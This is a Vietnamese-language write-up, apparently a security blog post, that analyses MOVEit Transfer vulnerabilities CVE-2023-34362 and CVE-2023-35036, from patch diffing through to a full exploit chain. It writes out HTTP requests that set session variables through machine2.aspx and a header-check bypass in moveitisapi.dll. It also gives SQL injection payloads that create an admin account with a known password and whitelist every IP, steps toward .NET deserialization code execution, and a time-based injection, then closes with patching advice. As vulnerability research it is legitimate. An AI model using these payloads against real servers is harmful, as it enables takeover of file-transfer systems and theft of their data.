Analysis CVE-2023-34362 & CVE-2023-35036 (MOVEit Transfer)

 

MOVEit Transfer – Introduction

MOVEit Transfer là một phần mềm quản lý, truyền tải tập tin an toàn và bảo mật. Nó cung cấp một giải pháp tổng thể cho việc trao đổi tập tin và dữ liệu giữa các đối tác, khách hàng và hệ thống trong môi trường kinh doanh.

MOVEit Transfer cho phép ta truyền tải tập tin qua các kênh bảo mật như SFTP, FTPS, HTTPS và AS2. Nó cung cấp tính năng quản lý và theo dõi tập tin, đảm bảo tính toàn vẹn và bảo mật của dữ liệu trong quá trình truyền tải.

Phần mềm này cũng cung cấp các tính năng quản lý quyền truy cập, giúp người dùng kiểm soát và quản lý quyền truy cập vào các tập tin và thư mục. Ngoài ra, MOVEit Transfer còn hỗ trợ các tính năng như lập lịch truyền tải, mã hóa dữ liệu, kiểm soát tốc độ truyền tải và theo dõi hoạt động truyền tải.

MOVEit Transfer được sử dụng rộng rãi trong các tổ chức và doanh nghiệp để truyền tải tập tin và dữ liệu quan trọng một cách an toàn, tin cậy và tuân thủ các quy định bảo mật.

 

CVE-2023-34362

Advisory

https://community.progress.com/s/article/MOVEit-Transfer-Critical-Vulnerability-31May2023

Setup

Official installation documentation:

https://docs.progress.com/bundle/moveit-install-2022/page/MOVEit-Transfer-Installation.html

Affected version:

https://cdn.ipswitch.com/ft/MOVEit/Transfer/2023/2023.0/MOVEit-Transfer-2023.0.0-FullInstall.exe

Fix version: Tải ở trang chủ, sau khi nhận được email

Chọn Download & Install và chạy file vừa tải xuống, trong quá trình install lưu lại activation key để dùng cho việc cài đặt bản unpatched.

Khi cài đặt thì có key như dưới dây:

Cài đặt bản unpatch: Dùng trial activation key của version vừa tải ở trên để offline activate affected version.

Sau khi active thì sẽ chọn DBMS, nhớ lưu lại thông tin

Nơi lưu source code của MOVEit Transfer

Analysis

Sau khi đã được decompile và diff code, ta thấy có sự thay đổi ở hàm UserGetUsersWithEmailAddress tại file UserEngine.cs là đáng chú ý.

Đoạn sau được xóa đi ở version 2023.0.1

Analyze hàm UserGetUsersWithEmailAddress trên để biết được hàm đó được gọi ở đâu trong source

Sqli tại SLIGuestAccess.cs (guestaccess.aspx)

SILGuessAccess.PerformAction() gọi đến MsgEngine.MsgPostForGuest() và dùng this.m_pkginfo làm tham số

text được lấy từ giá trị package info này.

Untitled

PkgInfo.SelfProvisionedRecips load từ session

⇒ Lợi dụng method SetAllSessionVarsFromHeaders trong SILMachine2.cs để set các giá trị trên

Các steps để reach được sink từ guestaccess.aspx

  • Set validation code
    GET /machine2.aspx HTTP/1.1
    Host: localhost
    Cache-Control: max-age=0
    X-siLock-Transaction: session_setvars
    X-siLock-SessVar: MyPkgValidationCode: 2
    Cookie: <session cookie of above>
    
  • Set access code
    GET /machine2.aspx HTTP/1.1
    Host: localhost
    Cache-Control: max-age=0
    X-siLock-Transaction: session_setvars
    X-siLock-SessVar: MyPkgAccessCode: 2
    Cookie: <session cookie of above>
    
  • Set permission
    GET /machine2.aspx HTTP/1.1
    Host: localhost
    Cache-Control: max-age=0
    X-siLock-Transaction: session_setvars
    X-siLock-SessVar: MyPermission: 5
    Cookie: <session cookie of above>
    

    Mục đích: pass đoạn code này

  • Set package id
    GET /machine2.aspx HTTP/1.1
    Host: localhost
    Cache-Control: max-age=0
    X-siLock-Transaction: session_setvars
    X-siLock-SessVar: MyPkgID: 0
    Cookie: <session cookie of above>
    

    Mục đích: PkgInfo.IsSelfProvisioned=true → call đến sink

  • Set guest email address
    GET /machine2.aspx HTTP/1.1
    Host: localhost
    Cache-Control: max-age=0
    X-siLock-Transaction: session_setvars
    X-siLock-SessVar: MyGuestEmailAddr: bla@gmail.com
    Cookie: <session cookie of above>
    

    Mục đích: thỏa mãn điều kiện SILUtility.isValidEmail(FromEmailAddr, false)

  • Set payload SQL injection
    GET /machine2.aspx HTTP/1.1
    Host: localhost
    Cache-Control: max-age=0
    X-siLock-Transaction: session_setvars
    X-siLock-SessVar: MyPkgSelfProvisionedRecips: blabla' or 1=1-- -
    Cookie: <session cookie of above>
    
  • Set username
    GET /machine2.aspx HTTP/1.1
    Host: localhost
    Cache-Control: max-age=0
    X-siLock-Transaction: session_setvars
    X-siLock-SessVar: MyUsername: Guest
    Cookie: <session cookie of above>
    

    Mục đích: làm cho m_foundactivesession=true

Lưu ý: request set username cần được đặt ở cuối để tránh error Your session has expired. xảy ra do đoạn if sau

Sau đó truy cập tới /guestaccess.aspx?arg06=2 để lấy csrf token

Payload trigger SQL Injection

POST /guestaccess.aspx HTTP/1.1
Host: localhost
Content-Length: 92
Cookie: <session cookie of above>
Connection: close

csrftoken=<csrf_token>&transaction=secmsgpost&arg06=2&arg05=send

Kết quả

From SQL Injection to admin privilege escalation

Vì data trả về của câu query không in ra màn hình nên chúng ta không thể dump bằng Union Based. Thử payload stack query với sleep(10) thì thời gian server trả về reponse là hơn 10s ⇒ có thể sử dụng stack query

Thực hiện insert 1 account admin bất kì với payload như sau:

');INSERT INTO moveittransfer.users (Username) VALUES ('y8pm5hoet340m4bz');UPDATE moveittransfer.users SET LoginName='notaidh' WHERE Username='y8pm5hoet340m4bz';UPDATE moveittransfer.users SET Permission='40' WHERE Username='y8pm5hoet340m4bz';UPDATE moveittransfer.users SET Password='PwQAFn4AV1BnBmFSqYurTzL6twt8bQP7jVBVwQOfSSaRqoLxRp2k1ioP6eXPwhRIOC4hFhw0fYVlWqx8rbjf' WHERE Username='y8pm5hoet340m4bz';UPDATE moveittransfer.users SET InstID='4490' WHERE Username='y8pm5hoet340m4bz';UPDATE moveittransfer.users SET CreateStamp=NOW() WHERE Username='y8pm5hoet340m4bz';-- -

Trong đó:

  • y8pm5hoet340m4bz → giá trị random bất kì
  • notaidh → username để login
  • 40 → quyền của account này (có thể là 30 hoặc 40)
  • PwQAFn4AV1BnBmFSqYurTzL6twt8bQP7jVBVwQOfSSaRqoLxRp2k1ioP6eXPwhRIOC4hFhw0fYVlWqx8rbjf – hash của password Caheo@1234 ứng với InstID4490

Sau khi execute payload thành công.

Nhưng mặc định khi setup thì MOVEit Transfer sẽ không cho login từ external nên mình cần add thêm whitelist IP vào trong database. List IP sẽ được lưu trong table hostpermits

Payload insert whitelist IP thông qua SQL Injection như sau:

INSERT INTO moveittransfer.hostpermits (Comment) VALUES ('{RANDOM_STRING}');UPDATE moveittransfer.hostpermits SET InstID='{instID}' WHERE Comment='{RANDOM_STRING}';UPDATE moveittransfer.hostpermits SET Rule='1' WHERE Comment='{RANDOM_STRING}';UPDATE moveittransfer.hostpermits SET Host='*.*.*.*' WHERE Comment='{RANDOM_STRING}';UPDATE moveittransfer.hostpermits SET PermitID='3' WHERE Comment='{RANDOM_STRING}';UPDATE moveittransfer.hostpermits SET Priority='1' WHERE Comment='{RANDOM_STRING}';

Trong đó:

  • {RANDOM_STRING} là chuỗi bất kì
  • {instID} được lấy từ cookie
  • *.*.*.* cho phép tất cả dãy ip

Sau khi insert thành công thì đã có thể login từ external.

Login vào tài khoản notaidh/Caheo@1234 thành công.

Unsafe .NET Deserialization

Dù đã tham khảo qua log của các server bị attack trên internet, mình không thấy nhắc đến việc tấn công RCE thông qua unsafe .NET deserialization, phải chờ tới lúc có một số twitter thông báo thì mình mới đi theo hướng này, một phần là vì trong lúc diff, đoạn code gây ra unsafe .NET deserialization cũng không có gì thay đổi.

Search trong source decompiled với keyword .Deserialize( và lọc đi những folder trong lib thì còn lại một số kết quả như sau:

Đoạn code unsafe deserialization nằm ở hàm DeserializeFileUploadStream:

this._uploadState được lấy từ database

Hàm DeserializeFileUploadStream được call trong hàm GetUploadStream

Và cuối cùng hàm GetUploadStream được gọi ở controller {id}/files với method PUT. Prefix của controller này là api/v1/folders hay cụ thể entrypoint để vào được tới đây: api/v1/folders/{id}/files

Để hiểu hơn về flow từ source tới sink theo code trên thì chúng ta sẽ tiến hành debug.

Sử dụng chức năng upload ở menu folders.

Khi thực hiện upload một file sẽ có hai requests lần lượt được gửi đến server

POST request

Code xử lí chính nằm ở

Gọi đến ResumableUploadFileInitHandler.GetResult(), tại đây thực hiện kiểm tra file đã tồn hay chưa, và sau đó gọi đến CreateUploadInfo()

Hàm này thực hiện chèn trước một vài thông tin về file vào database

Và response trả về bao gồm FileID ứng với file này.

Tiếp theo một request PUT được gửi đến server để cập nhật nội dung file với fileId tương ứng

Code xử lí chính bên phía server

Tại đây gọi đến method GetUploadStream() , ở method này thực hiện một vài kiểm tra đối với file đồng thời call đến GetFileUploadInfo() để lấy thông tin từ file upload

Các thông tin sẽ được select từ database, column đáng quan tâm là State sẽ được DBFieldDecrypt → Base64 Decode và gán vào this._uploadState

Và cuối cùng gọi đến DeserializeFileUploadStream() – sink .NET insecure deser.

Nhưng mặc định giá trị của cột State là rỗng nên không thể reach được đoạn code này.

  • Cách 1: Set trực tiếp State thông qua hàm Serialize như dưới đây:

Theo logic code, cột này sẽ được set khi this.IsUploadCompleted() return false hay nói cách khác là chưa hoàn thành quá trình upload.

Method IsUploadCompleted() như sau, thực hiện kiểm tra nếu _fileSize==0 hoặc _range.To bằng với _fileSize -1 → đã hoàn thành quá trình upload

_range ở đây là Content-Range và trong ngữ cảnh hiện tại thì mang giá trị bytes 0-666/667

Tới đây ta sẽ chia quá trình upload thành hai giai đoạn “upload phần đầu” & “upload phần còn lại”

POST:

POST /api/v1/folders/<folderID>/files?uploadType=resumable HTTP/1.1
Host: localhost
Cookie: <cookie>
Connection: close

------WebKitFormBoundaryfAUVkeuV4Jj5yCcV
Content-Disposition: form-data; name="name"

<name>
------WebKitFormBoundaryfAUVkeuV4Jj5yCcV
Content-Disposition: form-data; name="size"

100
------WebKitFormBoundaryfAUVkeuV4Jj5yCcV
Content-Disposition: form-data; name="comments"

<comments>
------WebKitFormBoundaryfAUVkeuV4Jj5yCcV--

PUT 1:

PUT /api/v1/folders/<folderID>/files?uploadType=resumable&fileId=<fileID> HTTP/1.1
Host: localhost
Content-Length: 50
Content-Type: application/octet-stream
Content-Range: bytes 0-49/100

<Payload .NET deser>

PUT 2:

PUT /api/v1/folders/<folderID>/files?uploadType=resumable&fileId=<fileID> HTTP/1.1
Host: localhost
Content-Length: 50
Content-Type: application/octet-stream
Content-Range: bytes 50-99/100

"a"*50

Request PUT lần thứ 2 sẽ trigger payload deser.

Lưu ý: PUT requests phải đảm bảo giá trị của các trường Content-Range, Content-Lengthsize trong POST request thỏa mãn đoạn code trong method CheckRange() nếu không server sẽ báo lỗi

Kết quả

Tuy nhiên lúc này nhìn lại thì mình mới để ý, cái được serialize là object của class FileTransferStream chứ không phải payload deser ban đầu.

Vì vậy không thể đi theo hướng này.

  • Cách 2: Set gián tiếp State thông qua cách sử dụng SQL Injection

Như đã nói ở trên, tại POST request sẽ thực hiện lưu trước một vài thông tin của file được upload vào database

⇒ Có thể chèn “base64 encoded payload” vào comments sau đó sql injection để update cột State bằng với giá trị này

Request như sau:

GET /machine2.aspx HTTP/1.1
Host: localhost
Cache-Control: max-age=0
X-siLock-Transaction: session_setvars
X-siLock-SessVar: MyPkgSelfProvisionedRecips: '); update fileuploadinfo set state=comment where fileid='<fileID>';-- -
Cookie: <session cookie of above>

Localhost access restriction bypass

Dựa vào các thông tin đã biết trong cộng đồng InfoSec, ta biết rằng attacker có thực hiện request đến MOVEitSAPI Service (moveitsapi.dll) nhằm thực hiện các chức năng trong machine2.aspx.

Thư mục chứa file này nằm tại C:\MOVEitTransfer\MOVEitISAPI\.

File này về cơ bản là một file ISAPI extension, được chạy dưới dạng là một phần mở rộng có nhiệm vụ là triển khai thêm những chức năng cần thiết của nhà phát triển cho IIS server.

Một ISAPI extension thông thường có 3 exported functions:

  • GetExtensionVersion
  • HttpExtensionProc
  • TerminateExtension

Ở đây, để phân tích ta sẽ tập trung vào hàm HttpExtensionProc vì hàm này là entry-point chính của quá trình xử lí request và response.

Sau một thời gian debug và phân tích, ta thấy được rằng để từ endpoint moveitisapi.dll đến machine2.aspx, ta cần phải bypass được quy trình xử lí request header.

Đoạn code thực hiện các chức năng với từng action đưa vào.

Đoạn code xử lí khi action=m2 như hình dưới đây:

Sau khi review pseudo C code, ta thấy rằng nếu giá trị của action không thỏa những module phía trên, sẽ ghi nội dung lỗi ra file log nằm tại C:\MOVEitTransfer\Logs\DMZ_ISAPI.log. Nếu không thì sẽ tiếp tục chạy vào hàm sub_7FFCBE9C0920 để tiếp tục.

Trong hàm sub_7FFCBE9C0920 thực hiện các thao tác chuẩn bị cookie và headers cho phép để tiến hành forward đến machine2.aspx, nhưng lại không hỗ trợ giá trị X-siLock-Transactionsession_setvars.

Sau một thời gian reverse và debug, ta nhận ra được rằng hàm get_header (renamed) chỉ kiểm tra chuỗi truyền vào có tồn tại trong request header hay không và sử dụng hàm stricmp (case-insensitive) để so sánh. Từ đó, để bypass được đoạn này, ta chỉ cần đặt chuỗi X-siLock-Transaction: folder_add_by_path vào bất kì vị trí nào trong request header.

Ví dụ khi header này được đưa vào bên trong header Cookie :

POST /moveitisapi/moveitisapi.dll?action=m2 HTTP/1.1
Host: localhost
X-siLock-Transaction: session_setvars
Cookie: ASP.NET_SessionId=fikqem521kve5jdpm151icz4; siLockLongTermInstID=4490; X-siLock-Transaction: folder_add_by_path
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

Khi nhận thấy SSRF thành công vào /machine2.aspx, ta lợi dụng method SetAllSessionVarsFromHeaders để set các thuộc tính cho session object thông qua header.

Chi tiết được thực hiện trong script PoC.

Full chain:

Set các header và payload insert account admin, insert whitelist IP thông qua SQL injection tại /moveitisapi/moveitisapi.dll?action=m2 (machine2.aspx) → Trigger SQL Injection tại guestaccess.aspx → login account admin → get token and folder id → upload file chứa payload deserialize ở comments (method POST) → update state từ comment (giống như step 1 và 2) → trigger deserialize (method PUT)

POC:

https://youtu.be/ipAc4NVo6rA

Sau khi reproduce thành công CVE-2023-34362, mình phát hiện CVE-2023-35036 của nó vừa được pubic cách đây vài ngày và root cause vẫn là SQL Injection nên sẵn đang trên đà phân tích thì mình cũng bắt tay vào làm CVE này luôn.

Untitled


CVE-2023-35036

Advisory

https://community.progress.com/s/article/MOVEit-Transfer-Critical-Vulnerability-31May2023

Setup

Official installation documentation:

https://docs.progress.com/bundle/moveit-install-2022/page/MOVEit-Transfer-Installation.html

Patch:

https://cdn.ipswitch.com/ft/MOVEit/Transfer/2023/2023.0.2/MOVEitTransfer-2023.0.2-dropins.zip?_ga=2.163471480.538842659.1686756244-1856875567.1686192529

Quá trình cài đặt sẽ tương tự như CVE phía trên.

Analysis

Dựa vào hướng dẫn patch, tiến hành tìm sự thay đổi trong các file sau đây

Method FolderIDToPath() trong FolderEngine.cs

CleanForSQL() trong SILUtility.cs

Main() trong SILCertToUser.cs

Tại method FolderIDToPath() thực hiện nối các giá trị vào câu truy vấn ⇒ có thể khai thác sqli

  • this._globals.objUser.InstID – giá trị này khó có thể kiểm soát
  • emptyempty2 – được gán thông qua SILUtility.SplitFolderIDAndPathHash()

Method này split kí tự - trong chuỗi Input (hay FolderID) sau đó gán lại giá trị cho các tham số được tham chiếu.

Trace các method gọi đến FolderIDToPath()

→ Bắt nguồn từ SILMachine.csSILMachine2.cs

Đối với SILMachine.cs, input sẽ được lấy từ Arg01Arg02

từ kinh nghiệm khi phân tích cve trước, mình biết được rằng các giá trị khi lấy thông qua argXX đều sẽ bị encode bởi SILUtility.XHTMLClean()

→ khó có thể tiếp cận từ đây.

Đối với SILMachine2.cs, this.InputFolderIDthis.InputRelativePath được đưa vào làm tham số cho method này.

Hai giá trị nêu ở trên bắt nguồn từ các request headers X-siLock-RelativePath , X-siLock-FolderID

Method GetHeaderValForSQL() gọi đến SILUtility.CleanForSQL()

CleanForSQL() định nghĩa các “disallow” characters trong text và gọi đến SILUtility.CustomCleanDisabllow()

Tại đây thực hiện loại trừ các kí tự này ra khỏi chuỗi ban đầu.

Request reach sink sqli

GET /machine2.aspx HTTP/1.1
Host: localhost
X-siLock-Transaction: large_upload_start
X-siLock-RelativePath: path
X-siLock-FolderID: 222-333
Cookie: <cookie>

Call stack

Câu truy vấn cuối cùng sẽ như sau

⇒ Có thể kiểm soát được hai thành phần trong câu query.

Bên cạnh đó bởi vì disallow characters chỉ bao gồm "'; → bypass với \

Sqli trigger time delay:

Final payload (ssrf bypass host check):

POST /moveitisapi/moveitisapi.dll?action=m2 HTTP/1.1
Host: 192.168.169.173
aX-siLock-Transaction: folder_add_by_path
X-siLock-Transaction: large_upload_start
Cookie: <cookie>
X-siLock-RelativePath: path
X-siLock-FolderID: 222\- OR sleep(2)#

Về method Main() trong SILCertToUser.cs

Bản chất là dùng để xác thực client dựa trên certificate lấy bởi SILUtility.MakeCertWrapperFromRequest()

Tại method này, nếu tồn tại cert được gửi thông qua request header X-IPSGW-ClientCert thì sẽ thực hiện khởi tạo một instance của SILClientCert dựa trên giá trị đó và gán cho silclientCert, ngược lại sẽ lấy từ cert của trình duyệt

Sau khi thỏa mãn if, sink sqli xảy ra ngay tại đoạn nối chuỗi dưới đây

Tiến hành tạo self signed-cert với openssl và chỉnh giá trị CN thành payload sqli trigger time delay

Kết quả

Tuy nhiên điều kiện để khai thác được là ip phải nằm trong các trusted IP đã được thiết lập trước đó.

Unsafe .NET Deserialization

Khi SQL Injection thành công và trong trường hợp có thể sử dụng stack query, chúng ta có thể tiếp tục exploit insecure deser tương tự như CVE phía trên bởi vì đoạn code đó đều không thay đổi ở cả 2 phiên bản.

Remediation

Hiện tại thì MOVEit Transfer đã có publish phiên bản mới nhất là 15.0.2 để patch 2 CVE trên. Vì vậy hãy update version của MOVEit Transfer lên version mới nhất để đảm bảo an toàn bảo mật.

Writen by taidh x stk x to^

905 lượt xem